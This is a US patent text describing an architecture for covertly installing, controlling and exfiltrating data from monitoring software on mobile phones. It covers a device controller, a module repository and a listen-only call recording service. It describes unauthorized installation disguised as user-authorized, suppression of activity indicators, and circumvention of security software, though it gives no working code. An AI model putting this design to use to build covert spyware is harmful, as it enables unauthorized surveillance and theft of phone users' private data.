# Patent

## Title
Mobile device monitoring and control system

## Abstract

Methods and apparatus, including computer program products, for surreptitiously installing, monitoring, and operating software on a remote computer controlled wireless communication device are described. One aspect includes a control system for communicating programming instructions and exchanging data with the remote computer controlled wireless communication device. The control system is configured to provide at least one element selected from the group consisting of: a computer implemented device controller; a module repository in electronic communication with the device controller; a control service in electronic communication with the device controller; an exfiltration data service in electronic communication with the device controller configured to receive, store, and manage data obtained surreptitiously from the remote computer controlled wireless communication device; and a listen-only recording service in electronic communication with the device controller.

## Background
1 CROSS-REFERENCE TO RELATED APPLICATIONS
This application is a continuation under 35 U.S.C. §120 of U.S. patent application Ser. No. 13/735,117, filed 7 Jan. 2013, which application claims priority under 35 U.S.C. §120 of U.S. patent application Ser. No. 12/209,904, filed 12 Sep. 2008, now U.S. Pat. No. 8,373,538, and which application claimed priority under 35 U.S.C. §119(e) to provisional U.S. Patent Application Ser. Nos. 60/971,872, filed 12 Sep. 2007, and 61/076,665, filed 29 Jun. 2008. Each of these cited applications is incorporated herein by reference in its entirety and for all purposes.


2 COPYRIGHT NOTICE
A portion of the disclosure of this patent document may contain material that is subject to copyright protection. The copyright owner has no objection to the facsimile reproduction by anyone of the patent document or the patent disclosure, as it appears in the Patent and Trademark Office patent files or records, but otherwise reserves all copyright rights whatsoever. The following notice shall apply to this document: Copyright 2007 Oceans' Edge, Inc.
3 BACKGROUND
3.1 Field of the Invention
This invention relates to wireless telecommunication. In particular, the various embodiments of the invention relate to monitoring and tracking wireless communications devices and their activities, the construction and management of applications for performing such functions, the monitoring of activities and data stored in mobile devices, and the transparent exfiltration of collected information from monitored mobile devices using wireless links. The present invention has applications in fields of computer science, electronics, telecommunications, and security.
3.2 the Related Art
Mobile devices include pagers, mobile phones, and combination devices that include the functionality of mobile phones, pagers, and personal digital assistants (PDAs). These devices allow the exchange of textual information (e.g., using pagers, cell phones, or PDAs) as well as voice and data (e.g., using cell phones and PDAs). Mobile devices have also recently been integrated with useful features such as global positioning system (GPS) access, cameras, and scanners (including scanners able to process radio frequency identification (RFID) and barcodes), and magnetic data storage cards. Wireless communication (“wireless”) allows two or more electronic devices to exchange information without the need for a physical connection (i.e., a wire or cable) between the devices, using radio or microwave transmissions; and devices using wireless communications can be fixed or mobile. Unlike traditional “wired” technologies, wireless communication technologies permit users to operate from any location at which there is sufficient wireless signal power to enable the communication. Fixed wireless devices allow wireless communication from a fixed location to mobile device. Mobile wireless permits communication between several mobile devices; and mobile devices generally communicate using radio-frequency transmissions.
Transmitters send a signal from a wireless communication point-of-presence to a mobile device, while receivers process a signal received at a point-of-presence from a device. A point-of-presence is a collection of one or more transmitters and receivers that can communicate with a mobile device. For example, a fixed point-of-presence can be a communication tower in a cellular telephone network or a wireless local area network connection at a coffee shop. Fixed points-of-presence are typically spaced so that their ranges overlap to allow continuous communication as a device moves amongst various locations. A mobile point-of-presence can be any other mobile device that is not a fixed point of presence. An example of a mobile point of presence is a laptop accepting WiFi connections or a mobile telephone handset accepting WiFi or Bluetooth. As long as a connection can be made between the point-of-presence and the mobile device, information can be sent and received appropriate to the capabilities of the device. But in many environments, such constant contact between a mobile device and a point-of-presence is not possible; because areas exist which are not in range of a point-of-presence, and variances of land or building materials may interfere with the signal. As a result, a mobile device can be out of coverage for a few minutes or hours, and mobile phone calls, wireless internet connections, and access to mobile points of presence may be cut off unexpectedly.
More recently, mobile devices have allowed application programs to be written to manage data communication (and not just voice) to and from the device so that more advanced functionality can be enabled in the device without connecting the mobile device to a computer or other device to download and install the application programs. Such applications can communicate with other devices, such as networked computers and other electronic equipment (including other mobile devices). Examples include the ability to send and receive email; review and process calendar, tasks, contacts, and other personal information manager records; retrieve, display and manage stock data; find and display nearby restaurants or clothing stores; and to receive or send documents and files using a mobile device. Alternatively, these applications rely upon an always-available Internet connection, and communicate using standard Internet techniques and protocols (for example, sockets, UDP (User Datagram Protocol), TCP (Transmission Control Protocol), and HTTP (HyperText Transfer Protocol)). In some cases, applications make use of WAP protocols and associated WAP Gateways to access Internet resources when the device's display resolution or other capabilities are inadequate for full Internet access. Wireless Application Protocol (WAP) is a standard implemented through WAP Gateways which are servers that act as communications bridges between wireless devices and internet services, transferring data between devices and services, and transforming data as required between the various protocols used. Each of these methods relies on the wireless connection being available when needed.
A user's employment of a mobile device, and the data stored within a mobile device, is often of interest to individuals and entities that desire to monitor and/or record the activities of a user or a mobile device. Some examples of such individuals and entities include law enforcement, corporate compliance officers, and security-related organizations. As more and more users use wireless and mobile devices, the need to monitor the usage of these devices grows as well. Monitoring a mobile device includes the collection of performance metrics, recording of keystrokes, data, files, and communications (e.g. voice, SMS (Short Message Service), network), collectively called herein “monitoring results”, in which the mobile device participates. Network management applications monitor device performance in order to identify network and device performance issues. Additional applications of monitoring technologies include the protection of corporate information and ensuring information covered by non-disclosure agreements is not inappropriately distributed. For example, recent high profile securities fraud cases have identified users who have sent details of upcoming mergers and acquisitions to accomplices who use the information for personal profit. Similarly, monitoring technologies provide advantages to law enforcement as the criminal element increasingly uses portable mobile devices to communicate and manage their criminal enterprises.
Mobile device monitoring can be performed using “over the air” (OTA) at the service provider, either stand-alone or by using a software agent in conjunction with network hardware such a telephone switch. Alternatively, mobile devices can be monitored by using a stand-alone agent on the device that communicates with external servers and applications. In some cases, mobile device monitoring can be performed with the full knowledge and cooperation of one of a plurality of mobile device users, the mobile device owner, and the wireless service provider. In other cases, the mobile device user or service provider may not be aware of the monitoring. In these cases, a monitoring application or software agent that monitors a mobile device can be manually installed on a mobile device to collect information about the operation of the mobile device and make said information available for later use. In some cases, this information is stored on the mobile device until it is manually accessed and retrieved. In other cases, the monitoring application delivers the information to a server or network device. In these cases, the installation, information collection, and retrieval of collected information are not performed covertly (i.e. without the knowledge of the party or parties with respect to whom the monitoring, data collection, or control, or any combination thereof, is desired, such as, but not limited to, the device user, the device owner, or the service provider). The use of “signing certificates” to authenticate software prior to installation can make covert installation of monitoring applications problematic. When software is not signed by a trusted authority, the software may not be installed, or the device user may be prompted for permission to install the software. In either case, the monitoring application is not installed covertly as required. Additionally, inspection of the mobile device can detect such a monitoring application and the monitoring application may be disabled by the device user. Alternatively, OTA message traffic may be captured using network hardware such as the telephone switch provided by a service provider. This requires explicit cooperation by the service provider, and provides covert monitoring that is limited to message information passed over the air. As a result, service provider-based monitoring schemes require expensive monitoring equipment, cooperation from the service provider, and are limited as to the types of information they can monitor.
Additional challenges are present when the monitoring results are transmitted from a mobile device. First, many mobile devices are not configured to transmit and receive large amounts of information. In some instances, this is because the mobile device user has not subscribed to an appropriate data service from an information provider. In other instances, the mobile device has limited capabilities. Second, transmitting information often provides indications of mobile device activity (e.g. in the form of activity lights, battery usage, performance degradation). Third, transmitting information wirelessly requires operation in areas of intermittent signal, with automated restart and retransmission of monitoring results if and when a signal becomes available. Fourth, many mobile devices are “pay as you go” or have detailed billing enabled at the service provider. The transmission of monitoring results can quickly use all the credit available on a pre-paid wireless plan, or result in detailed service records describing the transmission on a wireless customer's billing statement. Lastly, stored monitoring results can take up significant storage on a mobile device and the stored materials and the use of this storage can be observed by the device user.
Some devices have a removable identity card. SIMs are part of a removable smart card, and the combination of a SIM and the smart card is commonly referred to as a “SIM card”. SIM cards securely store the service-subscriber key used to identify a subscriber to a given wireless network, and they also support the SIM Application Toolkit (STK), which is a standard of the GSM system that enables the SIM to initiate actions that can be used for various value added services, such as payment authorization for purchases. In GSM 2G networks, the STK is defined in the GSM 11.14 standard. In GSM 3G networks, the USIM Application Toolkit (USAT) is the equivalent of STK, and is defined in standard 3GPP 31.111. Both STK and USIM are referred to herein as “STK” when the context does not require specification of the 2G or 3G versions specifically.
The STK consists of a set of functions programmed into the SIM card that define how the SIM can interact directly with the device (commonly referred to in this context as a “handset”), and/or the network. The STK provides functions that can give commands to the handset, for example: to display a menu and ask for user input, to dial phone numbers, or to control or access other device features, such as GPS receivers and RFID readers. These functions enable the SIM to carry out an interactive exchange between a network application and the end user and to provide or control access to the network. Details of STK capabilities and use are defined in the 3rd Generation Partnership Project (3GPP) Specification of the SIM Application Toolkit (STK) for the Subscriber Identity Module-Mobile Equipment (SIM-ME) interface (also known as the 11.14 specification) and related standards documents.
In addition to the STK, SIM cards can implement additional systems for supporting application programs that run on the SIM card. There are a plurality of systems and standards for such support, including the Open Platform and Java Card standards. Some standards support only one operating system or hardware smart card, others, like the Java Card standard, are supported on a plurality of smart cards under a plurality of operating systems. These systems can provide mechanisms for installing applications programs, selecting applications to execute, and means for the application programs to interact with each other or with the world outside of the smart card they are running on. Thus, the open-ended capabilities of applications installed on smart cards pose a potential security hazard to the smart card and to devices in which the cards are installed, similar to that of other general purpose computing devices.
Although SIM cards originated with GSM devices, the cards have proven so useful that other network types have adopted similar mechanisms. For example, CDMA systems have implemented a SIM-like device called a Removable User Identity Module (R-UIM), and a more advanced version of this called a CDMA Subscriber Identity Module (CSIM), which are cards developed for CDMA handsets that are equivalent to a GSM SIM. The CSIM is physically compatible with GSM SIMs, can fit into existing GSM phones, and is an extension of the GSM standard but is capable of working on both CDMA and GSM networks.
Removable identity modules can designate one or more pieces of software to run when a device is powered on with the identity modules. Removable identity modules thus provide a mechanism for surrupticiously installed software to be installed and then moved between devices.
From the foregoing, it will be appreciated that effective covert monitoring of a mobile device requires the combination of several technologies and techniques that hide, disguise, or otherwise mask at least one aspect of the monitoring processes: the covert identification of the mobile devices to be monitored, the covert installation and control of the monitoring applications, and the covert exfiltration of collected monitoring results. As used herein, “covert exfiltration” refers to a process of moving collected monitoring results from a mobile device while it is under the control of another without their knowledge or awareness. Thus covert exfiltration processes can be those using stealth, surprise, covert, or clandestine means to relay monitoring data. “Collected monitoring results” as used herein includes any or all materials returned from a monitored mobile device to other devices, using either mobile or fixed points-of-presence. Examples of collected monitoring results include one or more of the following: command results, call information and call details, including captured voice, images, message traffic (e.g. text messaging, SMS, email), and related items such as files, documents and materials stored on the monitored mobile device. These materials may include pictures, video clips, PIM information (e.g. calendar, task list, address and telephone book), other application information such as browsing history, and device status information (e.g. device presence, cell towers/wireless transmitters/points-of-presence used, SIM data, device settings, location, profiles, and other device information). Additionally, the capability to covertly utilize a mobile device as a covertly managed camera or microphone provides other unique challenges.
Thus covert monitoring of a mobile device's operation poses the significant technical challenges of hiding or masking the installation and operation of the monitoring application, its command and control sessions, hiding the collected monitoring results until they are exfiltrated, surreptitiously transmitting the results, and managing the billing for the related wireless services. The exemplary illustrative technology herein addresses these and other important needs.
4 SUMMARY OF THE INVENTION
The present invention provides software, systems, and methods for surreptitiously installing, monitoring, and operating software on a remote computer controlled wireless communication device.
In a first aspect, the present invention provides methods for the unauthorized surreptitious monitoring and, optionally, surreptitious control of, a remote computer controlled wireless communication device from a control system. In some embodiments, the methods of this first aspect comprise: receiving at the remote computer controlled wireless communication device, and installing without authorization on the remote computer controlled wireless communication device, computer program instructions. The computer program instructions are configured to enable at least one of an unauthorized surreptitious monitoring, unauthorized surreptitious controlling, or unauthorized surreptitious communications function on the remote computer controlled wireless communication device; and the computer program instructions are further constructed according to characteristics of the computer controlled wireless communications device such that the computer program instructions are installed and accepted by the computer controlled wireless communication device as if authorized by the use of the computer controlled wireless device while the user of the device is unaware of the installing and accepting without authorization; and establishing communications between the computer controlled wireless communications device and the control system without the knowledge of the user.
In more specific embodiments of these methods, the receiving at the remote computer controlled wireless communications device is periodic. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration.
In other more specific embodiments of the methods of the first aspect, the receiving at the remote computer controlled wireless communications device is continuous. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration.
In still other more specific embodiments of the method of the first aspect of the invention, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using one or more SMS messages; the receiving at the remote computer controlled wireless communications device is performed using WAP; the receiving at the remote computer controlled wireless communications device is performed using a network connection; or the receiving at the remote computer controlled wireless communications device is performed using a plurality of communications methods.
In a second aspect, the present invention provides additional methods for unauthorized surreptitious monitoring and, optionally, surreptitious control of, a remote computer controlled wireless communication device from a control system. In some embodiments, the methods of this second aspect comprise sending from the control system to the remote computer controlled wireless communication device, and installing without authorization on the remote computer controlled wireless communication device, computer instructions. The computer program instructions are configured to enable at least one of an unauthorized surreptitious monitoring, unauthorized surreptitious controlling, or unauthorized surreptitious communications function on the remote computer controlled wireless communication device; and the computer program instructions are constructed according to characteristics of the computer controlled wireless communications device such that the computer program instructions are installed and accepted by the computer controlled wireless communication device as if authorized by the user of the computer controlled wireless communication device while the user of the device is unaware of the installing and accepting without authorization; and establishing communications between the computer controlled wireless communications device and the control system without the knowledge of the user.
In more specific embodiments of these methods, the receiving at the remote computer controlled wireless communications device is periodic. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration.
In other more specific embodiments of the methods of the second aspect, the receiving at the remote computer controlled wireless communications device is continuous. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration.
In still other more specific embodiments of the method of the second aspect of the invention, the receiving at the remote computer controlled wireless communications device is performed using a method selected from the set of methods available at the time of exfiltration. In still more specific embodiments, the receiving at the remote computer controlled wireless communications device is performed using one or more SMS messages; the receiving at the remote computer controlled wireless communications device is performed using WAP; the receiving at the remote computer controlled wireless communications device is performed using a network connection; or the receiving at the remote computer controlled wireless communications device is performed using a plurality of communications methods.
Still more aspects, embodiments, uses and advantages of the invention will be apparent when the Description herein is read along with the Drawings.



5 DESCRIPTION OF THE DRAWINGS
FIG. 1 depicts a schematic diagram of wireless communications system architecture in accordance with one embodiment of the invention.
FIG. 2 depicts a schematic diagram of a monitored mobile device in accordance with one embodiment of the invention.
FIG. 3 is a process flow chart depicting the steps performed by the module repository (1420) to select a package, in accordance with one embodiment of the invention.
FIG. 4 depicts an exemplary peer-to-peer network connection using a proxy device between the monitored mobile device (1100) and the control system, in accordance with one embodiment of the invention.
FIG. 5 is a process flow chart depicting the steps performed by the device discovery and modification module (2310) to “device discovery” a monitored mobile device (1100), in accordance with one embodiment of the invention.
FIG. 6 is schematic diagram that depicts different ways in which the selective router module (2320) can interact with network traffic, in accordance with one embodiment of the invention.
FIG. 7 is a process flow chart depicting the steps performed by the selective router module (2320) to choose an appropriate exfiltration network path for particular data, in accordance with one embodiment of the invention.



6 DETAILED DESCRIPTION OF EMBODIMENTS OF THE INVENTION
6.1 Overview
The present invention provides architecture, system, software, and methods that enable covert or surreptitious gathering of mobile wireless computer controlled communication device (referred to herein as “mobile devices”) information and control mobile devices' use. Using the various architectures, systems, methods, and software provided by the invention and described with respect to certain embodiments illustrated herein, mobile devices can be monitored and controlled in a covert or surreptitious manner. The mobile device monitoring system provides methods of covertly, transparently, and remotely distributing, installing, instantiating and managing applications and data on mobile devices with at least one network interface. As it is desirable to implement a system that adapts to incorporate as many devices as possible, the present invention provides a system with a common interface that is independent of device type, device data connection, device network, or device capabilities to the extent possible.
In a first aspect, the present invention provides architectures, software, methods, and systems for covertly or surreptitiously downloading surreptitious monitoring and control software to a mobile device. Various embodiments of this aspect of the present invention include the suppression of various external indicators of device activity in this context, such as, but not limited to, the suppression of lights (e.g., LEDs) indicative of sending and receiving signals, progress bars, status messages, sounds, and the like. Other embodiments of this aspect of the invention include the suppression or circumvention of security software that is configured to identify, locate, and suppress, disable or remove unauthorized software installed on the mobile device.
In a second aspect, the present invention provides architectures, software, methods, and systems for covertly or surreptitiously installing, monitoring and operating software on a mobile device so as to monitor, control, or monitor and control, use of the mobile device. Various embodiments of this aspect of the present invention include the suppression of various external indicators of device activity in this context, such as, but not limited to, the suppression of lights (e.g., LEDs) indicative of sending and receiving signals, progress bars, status messages, sounds, and the like. Other embodiments of this aspect of the invention include the suppression or circumvention of security software that is configured to identify, locate, and suppress, disable or remove unauthorized software installed on the mobile device.
In a third aspect, the present invention provides architectures, software, methods, and systems for covertly or surreptitiously operating software on a mobile device. Various embodiments of this aspect of the present invention include the suppression of various external indicators of device activity in this context, such as, but not limited to, the suppression of lights (e.g., LEDs) indicative of sending and receiving signals, progress bars, status messages, sounds, and the like. Other embodiments of this aspect of the invention include the suppression or circumvention of security software that is configured to identify, locate, and suppress, disable or remove unauthorized software installed on the mobile device. Still other embodiments of this aspect of the invention include covert or surreptitious control of software on the mobile device from a remote system.
In a fourth aspect, the present invention provides architectures, software, methods, and systems for covertly or surreptitiously transmitting data obtained by the monitoring and control software installed on a mobile device to a defined location or external system. Various embodiments of this aspect of the present invention include the suppression of various external indicators of device activity in this context, such as, but not limited to, the suppression of lights (e.g., LEDs) indicative of sending and receiving signals, progress bars, status messages, sounds, and the like. Other embodiments of this aspect of the invention include the suppression or circumvention of security software that is configured to identify, locate, and suppress, disable or remove unauthorized software installation on the mobile device.
More particularly, the present invention provides systems, methods, apparatus, and software (such as encoded on a computer readable medium as computer readable program code devices to cause a computer to take instructed actions) for wirelessly surreptitiously installing, monitoring, and operating software on a mobile device. In some embodiments, the systems, methods, apparatus, and software include or enact a control system for communicating programming instructions and exchanging data with the mobile device. Among those embodiments are embodiments in which the control system includes a computer implemented device controller that is configured to establish communication with the mobile device and relay programming instructions and data to and from the mobile device. The control system includes a module repository in electronic communication with the device controller that is configured to store software modules comprising programming instructions to be communicated to the mobile device. The control system further includes a control service in electronic communication with the device controller; the control service is configured to provide information about the mobile device. The control system optionally includes an exfiltration data service in electronic communication with the device controller; the exfiltration data service is configured to receive, store, and manage data obtained surreptitiously from the mobile device. A listen-only recording service in electronic communication with the device controller is also optionally included. The listen-only recording service is configured to relay surreptitiously telephone communications between the mobile device and a receiver while recording said telephone communications. Some embodiments further include a proxy computer controlled device that forms a communications bridge between the control system and the mobile device. In more specific embodiments, the proxy relays instructions and exfiltration data (defined below) between the control system and the mobile device.
In other embodiments, the control system described above includes a WAP gateway in electronic communication with the mobile device, the WAP gateway is configured to provide WAP services to the mobile device in addition to at least one of recording, blocking, filtering, delaying, redirecting or modifying WAP requests from and responses to the mobile device. In more particular embodiments, The WAP gateway is further configured to forward one or more modules stored in the module repository to the mobile device while the mobile device is communicating with a service provided to the mobile device.
In another aspect, the present invention provides software for use on a mobile device, such device comprising a device operating system, a remote device communications interface in electronic communication with the device operating system and which is configured to enable wireless communications between the mobile device and at least one wireless communications system. Said software is referred to herein as a “monitored device client”. A monitored device client is configured to be in electronic communication with the device operating system, and can optionally be configured to be in electronic communication with the remote device communications interface, such that the monitored device client is enabled to covertly and surreptitiously communicate wirelessly with a device controller. In more particular embodiments, the monitored mobile device client further includes at least one monitoring module configured to monitor or control at least one aspect of the operation of the mobile device; said monitoring module is can also be in electronic communication with one or more other modules of the monitored mobile device client. In other embodiments, the monitored device client further includes a covert storage module configured to store information about the remote computer controlled device that has been gathered surreptitiously by the monitored device client. In still other embodiments, the monitored device client further includes a selective router configured to surreptitiously monitor and manage the communications of the mobile device. In still other embodiments, the monitored device client further includes a control application configured to manage the deployment and operation of the modules of the monitored device client. And in still other embodiments, the monitored device client further includes a device discovery and modification module configured to identify the configuration and characteristics of the mobile device and to facilitate the transfer to, installation on and instantiation of at least one other aspect of the monitored device client on the mobile device. The above-described embodiments and additional embodiments and illustrative examples will now be described.
FIG. 1 illustrates an exemplary mobile device monitoring and control architecture in accordance with one embodiment of the present invention, in which a first monitored mobile device communicates with a control system to provide device monitoring and management features under the control of the control system. The exemplary mobile device monitoring architecture comprises a control system (1400), which further includes a control service (1410), a module repository (1420), an exfiltration data service (1430), a listen-only recording service (1440) and a WAP Gateway (1450), each of which is connected through one or more wireless networks (e.g. 1200a) such as a cellular network or other wireless network such as a WiFi (802.11b/g) wireless network (e.g. 1200b) to any of a plurality of monitored mobile devices (e.g. 1100a, 1100b), through a computer implemented device controller (1490) as described in greater detail below. Implementation of these elements can be accomplished by those having ordinary skill in the art.
Continuing with reference to FIG. 1, the Figure also illustrates a wireless communication system architecture (1000) in which a first monitored mobile device (1100a) communicates with a computer implemented device controller (1490) in accordance with one embodiment of the invention. A monitored mobile device (1100a, 1100b) is capable of connecting to wireless telephony networks and associated wireless data networks, and can comprise devices such as cell phones, PDAs, handheld or laptop computers with cellular modems, and are described in more detail below and with reference to FIG. 2. Each monitored mobile device (1100) communicates through one or more wireless communications networks (e.g. 1200a, 1200b) that each include a gateway (1210a, 1210b) that is in communication with a computer network (1300). Some examples of wireless communications networks (1200a and 1200b) include cellular telephone networks utilizing CDMA (Code Division Multiple Access) or GSM (Global System for Mobile communications) technologies, and wireless metropolitan or area networks utilizing 802.11-based technologies. The wireless communication networks enable the wireless transmission and reception of information between mobile devices and external systems. Wireless communications can provide, in addition to voice telephony communications, data communications capability, such as TCP/IP-based protocol support, or more limited data communications means using SMS, MMS, FLEX, and other messaging protocols. Additionally, wireless communications can involve communications using peer to peer communications mechanisms, such as Bluetooth, and can even provide hybrid communications using one or more of the above communications means simultaneously or sequentially. Exemplary wireless communications networks (1200a, 1002c, and 1200c) are composed of components having designs, materials, and methods well known to those of ordinary skill in the art.
The network (1300) provides communication with a device controller that is in communication with one or more services or servers, and at least a first monitored mobile device (1100).
The control system (1400) further comprises one or more instances of services hosted on one or more computer systems, commonly called services. Each service may be operated on a computer, which is commonly called hosting. Each service is hosted on a single computer or alternatively, instances of each service can be hosted on several discrete computers. Further alternative configurations can provide for several different services to be hosted on a single computer.
The device controller (1490) of the control system (1400) provides communications support and routing selection between each particular monitored mobile device and server components such as a control service (1410), a module repository (1420), an exfiltration data service (1430), a listen-only recording service (1440) and a WAP Gateway (1450). Components (1400, 1410, 1420, 1430, 1440, 1450 and 1490) can be integrated into a single component, or implemented as one or more separate server devices and database components as shown in FIG. 1. The device controller (1490) selects one or more communications networks and methods for communicating between a particular monitored mobile device and one or more service components. The selection can be made upon a variety of factors and may be made automatically or under control of a person operating the device controller. Some factors that may be used by the device controller in the selection process include the device ID, device OS, device status, network availability, network device user configuration, network carrier configuration, version and capabilities of software on the monitored mobile device, and the instructions of the control system operator. In a first exemplary embodiment, the device controller (1490) can select an SMS communication link using a commercial cellular telephone network, such as those provided by commercial service providers like Verizon or AT&T/Cingular. In a second exemplary embodiment, the device controller (1490) can select a TCP/IP communications link using a wide area wireless network such as metropolitan wireless network such as those provided by Earthlink or MetroFi. In some exemplary embodiments the device controller (1490) can select a plurality of communication links and permit the selective router module (2320) on the monitored device to choose between them as detailed below.
The device controller (1490) provides networking infrastructure that permits each service to communicate with one or more monitored mobile devices (1100) using one or more communications networks and protocols as described above. The device controller (1490) can be integrated into each service, or can be structured as one or more additional components. The device controller (1490) can optionally switch between wireless networks, communication protocols, and can split or assemble communications from partial communications using disparate networks. For example, a device controller (1490) can use SMS to communicate with a monitored mobile device (1100) when its status is not known, and switch to communications on an 802.11 WiFi link when a monitored mobile device (1100) is known to be in range of an 802.11 wireless network. Additionally, a device controller (1490) can break a larger message into smaller parts, referred to as fragments, and communicate these fragments over protocols that are not capable of communicating the entire message in one piece. The device controller (1490) also can receive message fragments from a monitored mobile device and “reassemble” them into complete messages for processing by a service.
Additionally, the device controller (1490) can be configured to determine an appropriate way to reach a specific monitored mobile device using a combination of state information and routing information. Thus, as a monitored mobile device moves from being only reachable on a cellular network, to being reachable on a higher bandwidth 802.11 based wireless network, to being reachable using a peered device as a proxy or gateway, to being completely inaccessible, the device controller (1490) can consolidate this information and provide a common means for most efficiently reaching the monitored mobile device (1100).
The device controller (1490) also can provide message encryption/decryption, determine device status based upon periodic reporting (e.g. heartbeat), and other services as will be described in further detail below.
Services (1410, 1420, 1430, 1440 and 1450) preferably communicate with each monitored wireless mobile device (1100a, 1100b) using the device controller (1490) as described above. Alternatively, the services can communicate directly with a monitored wireless mobile device. Direct communication with a monitored wireless mobile device means communicating with the monitored mobile device (1100) using a well-known protocol such as TCP/IP in the case of wireless networks (such as 802.11 networks) using common networking protocols. In telephony based networks such as CDMA or GSM networks, direct communications with a monitored wireless mobile device means communicating with the telephony network provider's network interface using a well known protocol, and having the network interface communicate with the monitored wireless mobile device on the service's behalf using a telephony protocol. In the illustrated example, services include specific applications in the form of an exfiltration Data Service (1430) a Control Service (1410), a Module Repository Service (1420), a Listen-Only Recording Service (1440) and a WAP Gateway, each of which in turn pass data to, and receive data from, a monitored mobile device with a monitoring component (“monitored mobile device client,” 1120a/b). The monitored mobile device client (1120a/b) also can serve as a filter between network traffic and the applications (1110a/b/c/d) running on the monitored mobile device (1100).
Although FIG. 1 illustrates a mobile device for illustrative purposes, the term “mobile device” will be defined herein to include not only traditional mobile devices including pagers and cellular telephones, but also terminal devices, emulated devices, and server devices connected to at least one wireless network. Aspects of the exemplary, illustrative technology are equally applicable to all classes of devices that experience intermittent connectivity, such a laptops and PDAs that are intermittently connected to a company LAN. In addition, although FIG. 1 shows communication between a service (e.g., a server contained within the network (1300) or within the device controller (1490)) and a particular monitored mobile device (e.g., 1100a) it will be appreciated by those of ordinary skill in the art that an arbitrary number of devices can communicate with each other in accordance with the technology as described herein. Thus, the exemplary illustrative technology herein includes communications among all types of devices.
6.2 Module Repository 1420
The module repository (1420) is, in some embodiments, a server device hosting the module repository (1420) service. In such embodiments, the module repository (1420) service stores and manages monitored mobile device modules, selects modules for deployments, provides installer packages and configurations for specific monitored mobile devices (1100), and manages known monitored mobile device type-module associations. The module repository (1420) can be constructed using a network appliance or server computer running one of the server operating systems well known to those skilled in the art.
The module repository (1420) maintains a database of modules (described below) and manages a list of associations between specific types of monitored mobile devices (1100) and modules that can be used on those monitored mobile devices (1100). Types of monitored mobile devices can be further categorized by the operating system used, the communication service provider used by the device, or by other relevant factors as determined by those of skill in the art. Operating systems and other relevant factors can be further categorized, such as by version numbers or options installed. The modules themselves can be taken from a database, a directory, shared files, or other storage means known to those skilled in the art. In some embodiments, groups of modules can be grouped together by the module repository (1420). The database of modules provides a mechanism for identifying modules that may be associated with a particular monitored mobile device (1100), network provider, or other attribute.
In one embodiment, the module repository (1420) maintains a database of tags associated with each module stored in the system. The database of tags identifies a specific monitored mobile device or device type (1100), operating system, and control function provided by a module. A selection of modules that include a set of well-known tags can be selected from the database using well-known query techniques. For example, a query can be constructed to search for all modules with a minimum set of tags. One such example query might be constructed for a “Blackberry 1710” monitored mobile device (1100) and would be for all modules that have a “Device=Blackberry 1710” tag. A more refined query might be for modules that have a “Device=Blackberry 1710” tag and an “OS=4.1” tag. The tag can take the form of a database entry, or can be contained within a digital signature certificate provided with the modules.
In other embodiments, a list of modules for each specific monitored mobile device (1100) or monitored mobile device configuration can be loaded into the module repository (1420). The module repository (1420) can use this list of modules to associate specific modules with a specific monitored mobile device (1100) of a known type. The list may be stored in a database, flat file, directory service, or other storage means (not shown).
The module repository (1420) uses information obtained from a device discovery and modification module (2310) in conjunction with the pre-defined association information, and desired control information, to construct a list of modules to be deployed to a monitored mobile device (1100), and to provide a distribution package for module distribution. Alternatively, an operator can assign a list of modules to be deployed to a monitored mobile device. The module(s) can be packaged using an appropriate packaging technology, for example, Microsoft cab and dll files for Windows, SIS files for Symbian, jar files for J2ME, or other packaging and distribution means appropriate for the destination mobile device. The module repository (1420) can encrypt the package using a common or device-specific key to protect the contents. In some embodiments, one or more modules can be pre-associated and delivered as a unit by the module repository (1420). FIG. 3 is a process flowchart that details the steps performed by the module repository (1420) to produce a package.
As can be seen in FIG. 3, in step 3110, the module repository (1420) receives monitored mobile device information (for example, one or more of device type, OS version, device ID, etc.) from either the control service (1410) or directly from a monitored mobile device (1100). In a first exemplary embodiment, the monitored mobile device information is stored in a device database and is made available to the module repository (1420) using that database. In a second example embodiment, the monitored mobile device information is provided directly to the module repository (1420) as part of the service call. In an even more particular embodiment, the monitored mobile device information is provided to the module repository (1420) as parameters to a URI provided as part of a service call to the module repository (1420).
In optional step 3120, the module repository (1420) receives control information indicating the monitored mobile device (1100) and the controls and modules to be deployed to the monitored mobile device (1100). The control information may include such information as the monitored mobile device (1100) ID and the desired controls and modules for the monitored mobile device (1100). In some exemplary embodiments, the control information is preconfigured within the device repository or within a database accessed by the module repository (1420). In other particular exemplary embodiments, the control information is provided to the module repository (1420) from another service, such as the control service (1410).
In step 3130, the module repository (1420) uses the monitored mobile device information and the control information to determine the specific modules to use for the device discovery and modification module (2310) and the control module (2340). Different monitored mobile devices (1100) can have differing requirements for the device discovery and modification module (2310) and control module (2340) based upon device-specific characteristics, such as monitored mobile device operating system (2100), configuration parameters, and the like. Differing modules can be provided in order to effectively manage and control modules installed to different configurations of monitored mobile devices.
In step 3140, the module repository (1420) uses the monitored mobile device information and the control information to determine the monitoring modules to use for the monitored mobile device (1100). Different monitored mobile devices have varying hardware configurations, such as cameras and available memory, and each piece of hardware can require differing modules. For example, it makes no sense to deploy an image capture module to a monitored mobile device (1100) that does not have an embedded image sensor (e.g. a camera). Module deployment packages appropriate to each known device type can be pre-built and stored for selection as needed, modules can be stored individually and assembled into a deployment package as needed, or a combination of these methods can be used for different device types, as determined to be appropriate by those having skill in the art.
In step 3150, the module repository (1420) selects or constructs a deployment package for the device discovery and modification module and control module(s) determined in step 3120. The deployment package can be as simple as a list of modules to be downloaded or a single file that contains multiple modules. The single file may be a single module, or may be an installer package as described above.
In some embodiments, the deployment package is protected for integrity using techniques such as digital signatures that are well known to those skilled in the art. Similarly, each deployment package can be optionally encrypted using either public key or symmetric key encryption. For example, a deployment package may be encrypted using a key specific to a mobile device, such as the mobile devices' device ID. Carrier and manufacturer device identification numbers are good candidates for potential keys.
Once a deployment package is selected or constructed, the module repository (1420) makes it available in a step 3160, referred to as “publishing.” Publishing the package makes the package available to monitored mobile devices (1100) and other services. In one particular embodiment, the deployment package is published to a service that makes it available to the monitored mobile device (1100) for download.
